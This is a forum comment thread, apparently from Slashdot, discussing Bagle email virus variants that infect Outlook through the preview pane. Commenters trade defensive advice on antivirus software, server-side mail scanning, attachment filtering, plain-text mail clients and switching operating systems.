Nasty New Virus Variants

Lucidus writes "Numerous journals, such as Mac Daily News and The Motley Fool, are reporting that the latest versions of the Beagle/Bagle virus can infect users' computers whether or not they open an attachment. Apparently, the simple act of selecting the message activates the code. Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?"

Comments

Simple...

[Anonymous Coward]

Don't use Microsoft products... or use them and have an up-to-date modern Anti Virus scanner.

Re:Simple...

[BigHungryJoe]

AntiVir might be a good, free choice.

I has served me well. Catches a lot of the spyware that my favorite pr0n sites try to push me, too.

Re:Simple...

[zelphior]

the OP was somewhat overreacting. You still have to open up the email, so if you just delete messages that you think might be viruses then you are fine. I use Outlook express, and if I get a message I'm suspicious of, I right click on it, click Properties, and then view the message source. That gives me all the headers, the original sender, and the message in plaintext. I also turned off HTML, since no one I email sends HTML emails, so anything that comes in with HTML tags is pretty much either a virus or spam.

It's relatively simple to protect from this type of virus. A simple text only mail reader would go a long way in eliminating viruses. Of course, Microsoft insists on adding more and more "features" to their products. These features are intended to make the computing experience easier on the noob, but end up having the opposite effect. The amount of time it takes to recover from a major virus attack for a newbie is probably longer than it would take to learn a few tips to secure Outlook, or how long it would take to learn to use a different email client. Yet the stupid people still manage to continue to ruin things for the rest of us. Oh well. At least as long as there are people like that, the virus writers will continue to focus on easily fixed security holes in microsoft, rather than creating a Linux or Mac email virus (no idea how this could be done, but I have learned never to underestimate the power of a smart hacker with an ample supply of caffene).

Re:Simple...

[sYkSh0n3]

let me get this straight....windows has more ppl looking for holes in it through reverse engineering, etc. then the linux community with it's open look at my code and tell me what you think view on software?

This is a common defense from windows users. But it is also false. Attacking a windows computer is fairly easy. You have very few variables. M$ windows, M$ outlook, M$ ie, M$ security (ha! i made a funny) creating something to penetrate a windows box isn't exactly brain surgery. Even when a problem is found by people who aren't looking for malicious reasons, the problem has to be submitted to m$, m$ has to review, figure out how to fix it, create a patch, and then release it. Sometimes followed by another patch to patch the patch.

Now with linux you have OPTIONS. kmail, mozilla, konquerer, etc. etc. and all of this software is released OPEN SOURCE. So you have an infinitely varied setup with an entire community looking at the code. If a problem is found, they can even create their own fixes. Even if a hole in a browser or mail client allows a virus to get into a linux system, the virus has to then find a way to execute itself, and if it wants to do anything major, it also has to find a way to give itself root permissions.

Writing a linux virus isn't and probably will never be impossible, but it would never be able to spread like blaster or mydoom, or any of the other virus that are reeking havoc on the net everyday.

Re:Simple...

[ArchAngel21x]

They try to push spyware on your computer, and yet they remain your favorite sites? Ok...

Re:Simple...

[LooseChanj]

There's only one sensible place for pr0n: usenet.

Re:Simple...

[GMC-jimmy]

Apparently, the simple act of selecting the message activates the code. Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

This has ALWAYS been the case when it comes to Outlook and Outlook Express. The Preview will execute the code contained within the mail message in exactly the same way as if you had opened it. It has been this way for a few years. This is what Valve's Half-Life 2 Lead programmer claims happened that lead to the leaked source code for HL2.

Re:Simple...

[Sarin]

not a bad idea.

After the latest infection on my parents' computer, though mcaffee was installed and auto-updating and eudora, I decided to choose for the first.
I wiped microsoft from the computer and installed gentoo with kde, firefox and sylpheed-claws and I made it autologin into their kde account.

My parents have never been happier with their computer: 'internet is so much faster now' and 'hey that solitaire game is much more fun' and 'that thing allows you to have multiple virtual screens', it even looks better now and I told them they could click on any email virus they wanted.

Re:Simple...

[Perseid]

People have a tendency to forget that the evil-nasty viruses come out BEFORE the virus-scan developers have a chance to add it to their software. It is very possible to have the newest AV updates and get hit by a virus.

People who hide behind virus scanners as if they solve all of the world's problems are part of the problem themselves.

Re:Simple...

[mosschops]

Don't use Microsoft products... or use them and have an up-to-date modern Anti Virus scanner.

Don't forget that the Witty is entirely memory resident so most (if not all) virus scanners will miss it...

Re:Simple...

[L0C0loco]

... and that's why I use Eudora for email (where I can easily disable html email) and Opera as my default browser on my windows systems. Life can be so simple when you have a choice.

Re:Simple...

[next1]

avg free edition might also be a good choice. i haven't actually tried it cos i don't run windows, but it looks good.

i found this while looking for av software for my brother's pc, as he's recently had some virus problems. of course, i also got him using thunderbird and firefox ;-)

Re:Simple...

[Fermier de Pomme de]

So, when you say unfinished product, do you mean Outlook or Outlook Express?

Re:Simple...

[dustmite]

Yes, it's actually impossible to be protected against the 'latest virus that just came out', because it's impossible that your AV vendor has protection against a brand new immediately (unless the AV vendor wrote it themselves). There always must be a "window" between time of discovery of a new virus and the time that your AV is updated to protect against it during which you are vulnerable, and this is typically anything from a few hours to a few days.

But just try to explain this logic to the damn "if you run an AV and keep your definitions up to date you'll have no problems" crowd ..

Re:Simple...

[dustmite]

Well many of us unfortunately have to use Windows because (a) our work requires it and/or (b) more critically, our clients have Windows, and only know how to use Windows. So you have to develop your products for Windows if you actually want to sell anything :( :( ...

Re:Simple...

[Weekly IT]

I told them they could click on any email virus they wanted

Maybe its just me here, but I think that might be a very dangerous way to think about viruses. Sure there aren't that many viruses know to affect Linux boxes, but one nasty one, possibly written by a Windows geek who's fed up with your kind of thinking, could do a lot of damage. Combined with the simplistic idea that "I have linux, no virus can touch me" and the growing popularity of Linux, I see a growing potential for harm.

Re:Simple...

[AndroidCat]

And that's why I've always had the Preview pain switched off. And switched on View as Plain Text as soon as it was available. And use CTRL-F3 to view the "source" of email from people I don't know. If you have to use MS products, you've got to be on your toes because they are out to get you!

Re:Simple...

[Cerpicio]

You can turn off the preview pane. I do that on all my mail browsers. But I wonder if this new virus is different, that it doesn't matter if you have preview on or not.

-- C.

Re:Simple...

[GooberToo]

Woh!

Stop that crap right now! People that can use there head...neh, their brain, have no place on slashdot! Now, get the hell out of here! ;)

Don't worry, the guy you're replying to is probably a closet Win users.

Cheers!

Re:Simple...

[LurkerXXX]

And if you don't run your Windows machine as Admin, and you do backups of it, your in the same shape.

The problem is most windows users do run as admin (That's the way it came from the store. They'd run it as 'root' as installed if they had a Linux box. They just don't know better). Most also don't do backups, which is the critical part. Most machines bought these days come with a 'restore' CD that can have the system back to original shape in a hour or two, but the critical thing, the users data is still gone. It doesn't matter if you are on *nix or windows, their is usually a lot more time/value lost in losing the user space files than in simply reinstalling the OS/apps. *nix viruses will do just about as much damage if the user runs something they shouldn't.

It's not an OS thing, it's a user education thing.

Re:Simple...

[mad sQ SA]

It is very possible to have the newest AV updates and get hit by a virus.

Thus the fundamental flaw of signature based protection. Cisco has a sweet little product out called Cisco Security Agent. Check it out. My company is evaluating it now. It's a tad pricey, but it uses behavioral analysis to determine whether or not executed code is a worm, virus, or any other kind of malware. So there actually can be protection against unknown threats.

Re:Simple...

[SillyNickName4me]

And the problem is that those products are really aimed at non technical people. How are they supposed to know or understand?

Re:Simple...

[doublem]

The problem is, running as anything other than admin isn't always an option because of poorly written applications.

Case in point: Omnipage.

We have an older version of Omnipage. I forget the logic behind not upgrading, but we'll leave that as an aside.

If you run as anything other than an Administrator, the application appears to freeze at startup. What's really happening is that the splash image is concealing an error message. You have to know the windows shortcut keys necessary to either move the error message until it's visible or just hit the "YES." Once loaded it's still a mess, and can't open any files.

Long story short, in order to be able to use a software package that has become critical to our business process, we have to have a bunch of users running as the administrators on their local machines. W2K "Run As" doesn't cut it, as the problems still occur.

Re:Simple...

[doublem]

AMEN!!

Having users run as root / administrator all the time is a major issue for any OS, and our admin spends a good portion of his time fixing issues that ultimately stem from a dumb user doing something stupid.

My favorite:

We had a user, we'll call her T.

T called out admin three or four times a day. Every time a dialog box came up she would call for help. This included calls every time IE couldn't find a web site. Finally he told her to stop calling for minor problems, and not to call for trivial issues anymore.

The first dialog she ignores is the Norton Antivirus error message telling her that she's opening an infected attachment.

And thus a new virus hits our network.

Re:Simple...

[Anonymous Coward]

I use Norton and have yet to be infected with Outlook

Lucky you, I just checked and I'm infected with Outlook sure enough!

Re:Simple...

[subtropolis]

And that's why I've always had the Preview pain switched off.

That's such an apt mis-spelling.

Re:Simple...

[cloudmaster]

If you're gonna put that much effort into it, wouldn't it make more sense to put some effort into installing a different email client? :)

Re:Simple...

[AndroidCat]

It wasn't accidental. Every year or so someone says that only paranoids keep it turned off and that it's safe to go back into the water. I nod and wait for the body parts to wash up on the beach. Again.

protecting from viruses

[bendsley]

the ISPs need to have some server-side virus scan running. we do through our company's email server, and so far, it seems to work like a champ

Re:protecting from viruses

[prat393]

Many of them DO... but these variants have been coming out so often lately that they're hard to catch up with.

Re:protecting from viruses

[Dominic_Mazzoni]

the ISPs need to have some server-side virus scan running. we do through our company's email server, and so far, it seems to work like a champ

This is so true...unlike spam, it's quite possible to detect 100% of known viruses with no false positives. That's because every virus must contain essentially the same payload. Viruses simply can't vary their content as much as spam can, because it has to result in executable code, plus some MIME trick or IE/Outlook exploit, either of which have no legitimate use and could be detected easily.

I started running ClamAV on my mail server a couple of weeks ago (after seeing a recommendation for it on Slashdot) and since then I have seen my viruses go down from 500 a day to 1 a week. I manually looked through thousands of the held messages and found no false positives, so now anything that ClamAV scans goes directly to /dev/null.

I have no idea why all ISPs don't use ClamAV! Obviously they don't need to throw messages away, just in case - advanced users might prefer that messages probably containing viruses just be quarantined instead - but that would eliminate the problem for most people.

Re:protecting from viruses

[FalconZero]

My company outsources email virus protection to a dedicated service (Star Internet) which checks and forwards.
Its pretty cheap, and I've not had to worry about any email virii for years.
I'd (personally) like to see more companies (or even ISPs) going this sort of route as not only does it take the hassle away from sysadmins
(so you don't have to drive in at X in the morning to apply a patch), but it consequently helps reduce the rate of spread.

Re:protecting from viruses

[BigHungryJoe]

The first time my ISP has a false positive and blocks a legitimate email, I'm going to be pissed.

This is probably why they don't do it - they can't risk false positives.

-BHJ

Re:protecting from viruses

[cs]

And ISP filtering can readily be a PITA depending on the lists you read. Example: I'm on several Yahoo lists. Naturally the odd virus (or virus-looking) email gets onto one of the lists and (apparently) my ISP bounces it (even though I've got "no filtering please" chosen with them). Anyway, the bounce is an SMTP 553 bounce. Yahoo considers this a "hard" bounce (which it is) and TURNS OFF ALL MY YAHOO DELIVERY. Very very very annoying.

Now, one side of this is that SMTP needs (and lacks) a "this particular message will always be refused" error code. That would work well for virus filters, since the delivering system (eg Yahoo) could them just discard that message and continue with everything else.

The real fix is not to use these buggy mail clients. Like M$ LookOut!

And, though it's not applicable to the outright-buffer-overflow viruses like this one, not to use systems with the vile design flaw of letting users click on attachments and execute stuff. For example, my mutt mail reader has a mailcap that drives its attachment handling. Every clause runs a viewer. If I get a .exe I get told its size or offered an opportunity to save it to disc. It does not offer or try to run it. This core distinction is the weakness in the windows mail world: no attachment should have executable power. An explicit user driven install ritual should be needed to get such a thing into a context where it can be run. i.e. it should be a safe action for a user to double click any attachment - that act should always invoke a viewer of some kind.

Re:protecting from viruses

[afidel]

Just strip all executable attachments. We do this and haven't had a single virus hit our network since implementing this simple step. Of course some worms have been distributing themselves inside of zips but that still takes more steps and hence more chances for the user to think about what they are doing, plus MS email clients can't auto-execute them (most people run Groupwise client on the Citrix farm but some do run Outlook via POP).

Re:protecting from viruses

[badriram]

Except these worms now are not in attachments, they are part of the email message itself. It uses an activex vulnerability amoung others to attack the computer.

If people patched their computers, the virus would not have an effect on the computer. Atleast not this one.

Re:protecting from viruses

[LostCluster]

Just what is an executable attachment these days? It used to be possible to say that Word files could never carry a virus, but ever since the Word Macro engine grew up into a full power Visual Basic for Applications that's not so true anymore.

It used to be possible to say an e-mail with no attachments was safe, but today's virus of the day is proving that wrong... just using an IE bug in an HTML e-mail is enough to cause trouble.

So, really... nothing's safe. I'm sure somebody will find a buffer exploit for plaintext mail in Outlook someday...

Re:protecting from viruses

[Ironica]

I have no idea why all ISPs don't use ClamAV! Obviously they don't need to throw messages away, just in case - advanced users might prefer that messages probably containing viruses just be quarantined instead - but that would eliminate the problem for most people.

My school's mail server, after getting slammed very hard by er... one of them a couple months ago (I can no longer keep up with which virus is which), installed something that I think is called Vscan. What it does is sends you an email which informs you that you were sent a message with a virus attached, and gives you a link with a generated username (usually the "from" email address) and password to view the message... if you really want to.

I like this system, because it's soooo much easier to filter those messages as Junk than all the random stuff that might be thrown together by a virus ;-) and, if for some reason you get a *real* email that happens to have a virus attached, you can still read it just fine. Remember, back in the old days, when viruses were first learning to use email, and they'd just attach themselves to whatever outgoing messages you'd send? I'll bet there's one or two of those still floating around...

Re:protecting from viruses

[gad_zuki!]

Many do, but the real problem here is patches.

The patch for this was released in October 2003. Users should have auto-update up and running if they're using windows. ISPs should make sure users have auto-update on and an anti-virus when they install broadband service.

Re:protecting from viruses

[Anonymous Coward]

Eliminating all ".zip" attachments, and also ".dll", ".exe", ".scr", ".pif", ".com", and ".bat" seems to do the trick. These are the ones that are either auto-executed by the horrid built-in Windows email clients or are commonly used by people who need an education in how to safely send files.

The .zip is particularly nasty with Windows XP, which tries very hard to look directly inside them instead of as a bundle that has to be unzipped and examined separately.

Re:protecting from viruses

[hazed]

Speaking as owner of an ISP, if we were to scan email's for virii and a virus got through to a client, we would legally be responsible for the damages caused here in Australia. Thats more liablity than we are prepared to take on and its a stupid law IMHO.

Re:protecting from viruses

[jrockway]

The newer viruses send an encrypted zip file and a password. The user has to save the zip file, unzip the file, type in the password (!!!), and then execute the extracted executable. And there are STILL millions of infected boxen!!!

Obviously the mail client is not the problem. The user is :(

(And if you're wondering why the virus is encrypted, it's so it passes through filters. Encrypting with a random password has the nice side effect of randomizing the data. So there are no known strings to filter on. Pretty clever.)

Re:protecting from viruses

[fermion]

Or they could just block all HTML email. That would be my preferred solution.

However they can't do that because HTML email is too important an advertising medium. Most computer companies, including MS, Yahoo, and Apple have their mail readers set to render HTML by default so that they can get ads to their customers. Never mind that this allows spammers to operate and allows all sort of other nasties to spread.

HTML email should not be set a default for send or receive. HTML email should never be rendered without a case by case approval.

The difference between HTML on a web page and HTML on an email is that the Web page is generally requested by the user, and the user can in principle limit exposure by going only to known sites. With email, all emails, are in principle, from unknown sources that are best assumed malicious. It may seem extreme, but that is the current situation.

Re:protecting from viruses

[sirsnork]

So use a mail client that doesn't use ActiveX and if you can't (eg using Exchange) implement some server side virus scanning with auto updating or some gateway filtering of activex code

Re:protecting from viruses

[CyberKnet]

There's something just a little ironic about calling "Visual Basic for Applications" full power =)

It's astonishing that you can do anything useful in it, let alone write a virus in it.

Re:protecting from viruses

[firewrought]

Yah, if windows scripting is on, you'll need to block ".wsh", ".vbs", and ".js" too. Maybe others.

Re:protecting from viruses

[Dun Malg]

There's something just a little ironic about calling "Visual Basic for Applications" full power =) It's astonishing that you can do anything useful in it, let alone write a virus in it.

Perhaps it's really only "full power" in the sense that it's given the power to clobber your stuff. To me it brings to mind a visual of a child being handed a flamethrower. Sure, he can use it, but shouldn't such things be restricted to adults?

Re:protecting from viruses

[LostCluster]

The strength of VB is really in the fact that it really makes using ActiveX to boss around other programs very easy, and also the ability to make system-level DLL calls. VBA adds the extra damage of being able to hide code in a file format that some people might not expect to be executable.

VBA doesn't actually have anything much missing from the VB6 command set. The only thing it's really missing is the ability to make compiled executables, that VBA programs can only be embeded in certain MS filetypes. It's a much bigger power tool than most people expect...

Re:protecting from viruses

[shellbeach]

You didn't read the article, did you?

"This new version of Bagle only requires a recipient to open the email or view it within the Outlook preview frame, where some invisible HTML code downloads and infects a PC through a known flaw in the Internet Explorer browser." (my emphasis)

Nothing to do with attachments ...

Re:protecting from viruses

[rabidcow]

unlike spam, it's quite possible to detect 100% of known viruses with no false positives.

Even the ones that spread inside of encrypted zip files?

Of course those can't autoexecute (without becoming detectable), but they seems to be spreading just fine.

Re:protecting from viruses

[dtdns]

From my experience, you're in the minority. We're not an ISP, but we do host e-mail for a number of companies. We recently implemented Vircom's modusMail which is expensive, but the virus and spam filtering it provides is simply amazing. It catches about 99% of the incoming spam and all of the current viruses. It auto updates both filters pretty much daily, sometimes more.

The spam filter is very aggressive, so when we first implemented it there were some false positives. It throws everything it filters into a quarantine and generates daily quarantine reports to all of the users along with a "release" link. If there's a FP in there, the user can release it right then and there. It even offers to whitelist the sender to prevent more FP's in the future.

I know there have been some FP's since we track the release clicks, but we've had no complaints and nothing but praise since we put it in.

The best part is that our e-mail admin time has been reduced only to adding new accounts :).

Re:protecting from viruses

[Zork the Almighty]

I think the best option is to filter by default, with a web based form for turning it off. Most people are protected from an annoying nuisance, while all the libertarians can turn it off.

Re:protecting from viruses

[repetty]

"Remember, back in the old days, when viruses were first learning to use email, and they'd just attach themselves to whatever outgoing messages you'd send?"

No, I don't really remember those days. I used a Mac.

--Richard

Re:protecting from viruses

[Afrosheen]

That's great there. You endorse a product which is broken on your box.

I got some nice swamp land in Florida for you if you're interested.

Re:protecting from viruses

[MarsDefenseMinister]

Writing a program to detect if another program is a virus is pretty much the same problem as writin a program to detect if another program halts. I'd say that we're not ever going to see a perfect universal virus filter.

Re:protecting from viruses

[runderwo]

I manually looked through thousands of the held messages and found no false positives, so now anything that ClamAV scans goes directly to /dev/null.

Be careful. You might lose some messages you actually want, if anything ClamAV scans goes directly to /dev/null.

Joking aside, be careful that you check the exact exit code that you need to determine whether ClamAV found a virus or not. I was using a script called clamfilter.pl that someone else wrote. Since I was in a hurry, I went ahead and stuck it in my procmailrc without checking into it much. It seemed to work for quite a while. When one of the MS virus storms hit, I started sending all the viruses to /dev/null like you are. This turned out to be a mistake.

At some later point, we had a hard drive disaster that left most of /usr unreadable. However, the mail server was still running, and still using clamav to filter mail. Due to one of clamav's files becoming unreadable, clamav started exiting with a nonzero exit code, but not because it was finding a virus in the mail. Hence ALL mail went to /dev/null for a few days while the system was being rebuilt, and we didn't discover it until afterwards. I filed a bug with the clamfilter forum, but up till now the author hasn't fixed his (IMO dangerous) code that he is offering for general use.

The moral of the story is, if you are sending mail to /dev/null in ANY case, be damn sure that you are properly checking clamscan's exit code.

Re:protecting from viruses

[slamb]

The first time my ISP has a false positive and blocks a legitimate email, I'm going to be pissed. This is probably why they don't do it - they can't risk false positives.

False positives aren't that bad if you handle them well. The trick is to never silently discard an email. It's much better to send a friendly error message like:

• "Appears to be W32/Sobig virus. If this is a legitimate message, please change the subject line and resend." (They can easily do so.)
• "Attachment name "$1" ends with ".$2", which I've disallowed because of worms filling the mail queues. Please arrange an alternate way to send this file." (If nothing else, they can send an email saying 'tried to send you a ZIP file; it didn't work' and I can temporarily relax the rule.)

I do this with a 5xx rejection during the SMTP session. So what happens is:

• if their client connects directly to my mailserver, they get an error message before the compose window has even gone away. They can make the necessary changes and resend easily.
• if their client connects indirectly, the other mailserver will generate a bounce from this message. The sender will get their original as an attachment, so they can modify it even if they don't keep sent messages.
• if a virus or worm connects directly (the most common case), it receives an error message and gives up. No bounce is sent to the owner of the "From" address. That's good because the address is forged; said owner has nothing to do with the infected machine. No point in filling their mailbox with bounces.
• if the virus connects indirectly, the owner of the "From" address does get a bounce. Undesirable but not devastating. This seems to happen rarely. Maybe only when there's a transparent SMTP proxy along the way or something.

Re:protecting from viruses

[Afrosheen]

It'll become a word if people keep using it enough.

Virii virii virii!

Re:protecting from viruses

[Isomer]

One idea I've had is to hold anything that has an attachment that starts with the letters "MZ" (which are the "magic" for .EXE files) for 24 hours, then rerun the virus scanner over them. 24 hours is more than enough time for virus checkers to be updated and the virus hopefully will be dropped then. People who are legitimately (?!) sending executables around in email, just get a 24h delay.

Re:protecting from viruses

[mkettler]

ClamAV is a good step in the right direction, and it's incredibly great quality for freeware. I use it myself on my servers and it's wonderful. However, If you're looking to hit 100% of known viruses, clamav won't get you there.

The current stable release of clamav doesn't support OLE2 scanning, thus can't catch viruses in many MS Office documents. (0.66-0.68 have OLE2 disabled).

As far as why most ISPs aren't running clamav.. That's simple.. Load Average. Many ISPs are pushing their mailserver hardware pretty hard. As a result they don't have a lot of spare CPU onhand to do virus scanning.

At the ISP level, CPU time isn't free, it costs because you need better more powerful servers to process the same volume of mail. Admittedly PC hardware is cheap for desktops, and low-end server-grade stuff isn't outrageous, it's still an added cost that can't be ignored. Scanning is going to easily double the amount of CPU time per message compared with just store and deliver, so you've just doubled the cost of your inbound MX hardware (assuming you're doing load balancing and can just double the number of servers).

Sure it's money well spent, but it's not as inexpensive or free like it may seem at first glance.

Re:protecting from viruses

[boaworm]

.zip is vicious too. I've seen several copies of a virus that tries to look like its being sent from the staff of your domain, and says that you have to unlock your email account because of abuse. The instructions are in a .zip archive and the mail provides you with a password to "unlock" the archive.

Dont have any spare copies of the virus to cut'n'paste for you, but, beware of .zip to.

Re:protecting from viruses

[batura]

The inivisible-pixel-that-downloads-a-IE-vunerability trick is particularly good at defeating this level of security.

I don't feel safe unless i'm reading my email through a CLI...

Re:protecting from viruses

[Monkelectric]

You should filter reserved filenames as well, com1, com2, lpt1, etc. sending an attachment with any of these names will hose outlook (ask me how I found out :)

Re:protecting from viruses

[Dever]

Lucky for you nobody else did.

Re:protecting from viruses

[Jiggy]

This is fine until the AV service gets hit with a big outbreak and *all* emails with attachements are delayed by several hours.

Better to keep the virus checking in-house IMHO.

Re:protecting from viruses

[akadruid]

I have a very badly broken access DB

Sounds like it's working normally then. I'd get some sleep if I were you.

Re:protecting from viruses

[tverbeek]

Eliminating all ".zip" attachments, and also ".dll", ".exe", ".scr", ".pif", ".com", and ".bat" seems to do the trick.

If your local Powers That Be won't allow you to take this (IMHO sensible) precaution, you can still provide a measure of id10t-proofing by mangling the extensions of these attachments. For example, this procmail script will rename an attachment from PATCH.EXE to PATCH.DEFANGED-EXE, requiring the recipient to save the file (giving the anti-virus software a chance to check it) and rename it before executing it.

My policy (before I got laid off and ended up in a non-policy-setting job elsewhere) was to simply not deliver messages containing SCR/PIF/COM/BAT/DLL, on the grounds that these are never legitimate attachments. (For a while I delivered the message but stripped the file; after several months with no false positives, I just stopped delivering them altogether.) For EXE/DOC/ZIP attachments (which were occasionally legit) I'd mangle the filename.

Re:protecting from viruses

[mwood]

Of course that's very nearly the same list as the list of file types that most people want to attach for perfectly legitimate reasons.

Switch!!!

[Anonymous Coward]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

Well, this one is gonna start a whole slew of flaming and trolling over the virtues of one platform over another as it is kinda a loaded question with a simple answer:

Switch

So let's start right off with a big razz towards Windows users from both the Linux and Macintosh communities.........

Thhhbibibibibbbpt!!!

Seriously though, when are you guys gonna get the picture? Microsoft if chasing a moving target here and they will always be behind the curve, reacting to the latest virus outbreak until they fix what is fundamentally wrong with the Windows architecture. Hopefully this will happen with Longhorn in 2006......or 2007.........or whenever.

Re:Switch!!!

[NemesisEnforcer]

Your solution is to switch to an entirely new OS because their "default" email program is poop?

How about all the windows users check out Mozilla Thunderbird. You can keep your nice, friendly OS, and still not have to worry about insanely sad security. http://www.mozilla.org

However, if you're feeling a tad adventurous, then by all means check out the alternative OS choices. Need some names? Check out FreeBSD, Red Hat (Fedora Project), Mandrake, and there are plenty more on distrowatch.

Re:Switch!!!

[golgotha007]

you don't really need to go so far as to switch operating systems. perhaps this is a wake up call for those to switch to different applications that have the same or similar functionality.

i use both windows and linux machines day to day.
on my windows machines, i've activated the built-in firewall and use Mozilla Thunderbird for mail and Mozilla Firefox for web browsing.

i have zero problems with viruses or worms.

The real culprits here are IE, MS Outlook (& Express).

Re:Switch!!!

[Coryoth]

Switching won't really help.

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

All fine and well, but it will help you if you switch, because then you'll be joining the happy minority that don't worry about such things.

Of course if everyone switches it will be a problem, but really, what are the odds of that actually happening?

It;s all fine and well to say "If everyone switched we'd still have the same problems with viruses", but realistically, everyone isn't going to switch. A lot of people are heavily locked into their current platform - so, if you can, switch...

Jedidiah.

Re:Switch!!!

[dougmc]

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

There is some truth to this.

If everyone switches to Linux or Mac OS then you'll start to see viruses for those operating systems.

Some more truth ...

You should be glad you're in the OS minority. That's what's keeping virus writers away from your system.

That's one small thing that's keeping virii out of my system. But it's only a small thing. Other things?

My mail client (mutt) does not run under an account that has full access to the entire system. Instead, it runs as me, and cannot replace parts of the OS even if it wants to. So it can't do things like replace part of the TCP/IP stack -- a popular Windows worm/virus trick.

My mail client does not automatically execute things sent to it. Instead, it shows me the text included in a file, and if I want to, I can open an external program to view it (like a movie player.) But under no conditions does it execute the email as a program, unless I save it to a file myself and execute that.

... And I know better than to do that unless I trust the source of the file, or can read through it and tell what it does.

Re:Switch!!!

[Anonymous Coward]

I've never had to worry about such things.

I use Outlook 2003 every day with an up-to-date virus scanner and I maintain my Windows XP with Windows Update regularly.

Every virus I get is automagically snagged by Norton AntiVirus before it can do any harm.

My Windows 2000 server running IIS is fully visible to the public, and it never gets hacked. Know why? Because I can properly configure IPSec and maintain my patches.

Maybe the solution is not "OMG SWITCH TO LUNIX LOLLERS", but rather, educate the Windows users better. Make them more intelligent and clue them in to what they need to do to not fuck up their system.

People often tout Windows as "it's so easy my dead grandmother can do it" but I've learned in my years of sysadmining that Windows takes quite a bit of general knowledge to get working great, and once you do, you will have no problems.

Re:Switch!!!

[LoadWB]

Along side YAM on Amiga, I've been using Windows NT/2000 with OE, and now Windows XP with Outlook 2003, and combinations thereof since 1997 and have never once contracted a virus. And working for an ISP during those times I received a shytload of them in my email.

How did I accomplish this seemingly tremendous feat? Windows Update (*gasp*) and Norton AntiVirus (but now AVG v7.) (Well, that and an exercise of common sense of which even my parents are now capable.) I have also had HTML rendering turned off since the option appeared in OE6, as well as in Outlook 2003.

Amazing. Should I go down in history? Seriously, NEVER gotten a Windows virus. But, perhaps one day it will happen. When it does, I'll slap my forehead and say something like "Well, I'll be damned" as I recover my formerly virus-free system from System Restore, and if that doesn't work then I'll reload Windows from an image I made when I last loaded the system and recover all my lost data from an automatic backup made early that morning.

I might even shed a tear for the few emails that I lost between the backup and the virus. Boo hoo.

Re:Switch!!!

[the_womble]

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

So IIS has had more security issues than Apache and SQL server more than Oracle becuase they are more widely used right? Oh...

There has not been ONE single Linux virus that has propagted in the wild: given the huge nubmer of viruses out there I would have thought someone* would have written and released one for Linux just to show it can be done.

* probably one of those fanatical Windows apologists who think that Linux users are communists** or worse

** despite the fact that it is MS that advocates central planning.

Re:Switch!!!

[WindBourne]

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

That is more myth than truth. Most virus writers target MS due to simplicity. Read any of the online articles that dealt with interviews of a number of virus writers and you will see that they target not the plentiful system but the easiest.

If nothing else, consider the case on servers. Apache is now fully 2/3 of all servers, yet IIS accounts for the majority of break-ins.

Likewise, if you watch the credit cards that are stolen, they have been nothing but IIS for about 3.5/4 years. The last url to have CC's stolen that was not MS induced was playboy which uses Sun

Re:Switch!!!

[Ironica]

The reason most (or all) viruses are written for Windows is because that's where they'll do the most damage, since most people use Windows.

If everyone switches to Linux or Mac OS then you'll start to see viruses for those operating systems.

You're replying to a reply about the fact that this virus (like several before it, actually) can auto-launch from the preview pane. This is a "feature" specific to Outlook. If you don't use a mail program made by Microsoft, it probably won't affect you.

This is not one of those things that happens to Windows just because it's the easiest thing to pick on. This is one that specifically happens because a feature that is massively insecure was still included, just because one user in a thousand might find Outlook easier to use because of it.

Re:Switch!!!

[misleb]

People often tout Windows as "it's so easy my dead grandmother can do it" but I've learned in my years of sysadmining that Windows takes quite a bit of general knowledge to get working great, and once you do, you will have no problems.

General knowledge... and a whole lot of voodoo! -matthew

Re:Switch!!!

[Anonymous Coward]

Wearing a condom won't really help.

The reason most (or all) AIDS infections happen through unprotected sex is because that's where the virus will do the most damage, since most people have unprotected sex.

If everyone switches to wearing condoms or practicing abstinence then you'll start to see AIDS mutations that jump through the air or something.

You should be glad you're in the minority that practices safe sex. That's what's keeping the AIDS virus away from your system.

Seriously, is this like the most pointless argument or what??

If you use a Mac or Linux TODAY you will not get these viruses. Period. End of discussion.

Let's say in 5 years, everybody will switch to Mac and start getting Mac viruses. Wouldn't you like 5 years without viruses??

Re:Switch!!!

[SanityInAnarchy]

Even on Windows, a simple download of Mozilla Thunderbird will solve this, among other problems.

It's ridiculous that more viruses (or worms) come through email than through any other means. I predict that someday soon, people will stop using Outlook [Express] and start getting their viruses through Internet Explorer, Samba shares, or straight through the wire (smashing the IP stack). Maybe then it really will be important to switch to Linux.

I agree, people should switch, but if people used Windows with more intelligence... Well, maybe people wouldn't want to switch, which would be a Bad Thing, so maybe I should keep my mouth shut.

Re:Switch!!!

[ncc74656]

If everyone switches to Linux or Mac OS then you'll start to see viruses for those operating systems.

I'd like to see someone try to write a virus or worm that affects plain-text-only mail readers like Mutt. That would be a clever hack. I also suspect it'd be damn near impossible to pull off. How badly would you have to screw up something that displays plain text for a vulnerability to appear?

The moron who had the "bright" idea to start sending HTML in email needs to be taken out back and shot.

Re:Switch!!!

[Jeremi]

Maybe Microsoft should re-code Outlook so that the incoming-email-handling-and-viewing code runs in some sort of Java-style untrusted sandbox mode. That way even if there is some problem like this, the damage would be contained to that one process and wouldn't subvert the rest of the system.

Re:Switch!!!

[zcat_NZ]

You missed a step;

. Save to file
. Set executable (chmod +x)
. Execute (and by default it's not in your path either!)

BUT when Linux gets as popular as Windows, most users are likely to be running something broken like Lindows that does everything as root. And sooner or later someone _will_ write a mail client for Lindows that can automagically run executable attachments because the sort of people who send greeting cards and flash jokes to each other will _ask_ for that functionality.

Linux/freeBSD are safe because they're not generally run by morons; Windows is perfectly safe as long as you know what you're doing. Have a good firewall, replace IE/OE with TB/FF or Moz, be a little careful about what you download, and NEVER run stuff that gets mailed to you! Plus keep backups and be prepared to nuke-and-pave if necessary.

Re:Switch!!!

[KevCo]

Exactly. So many people go on and on about how Linux or MacOS would be hit just as hard as Windows if they had the same market share. So what? The reality is that in the here and now they are safer alternative. If it is because of superior design, or simply insufficent user base to make them juicy targets, the result it the same to the end user.

Re:Switch!!!

[mpaque]

Sure. Just install a good software firewall like Black Ice, and you're good to put that Windows box on the Internet.

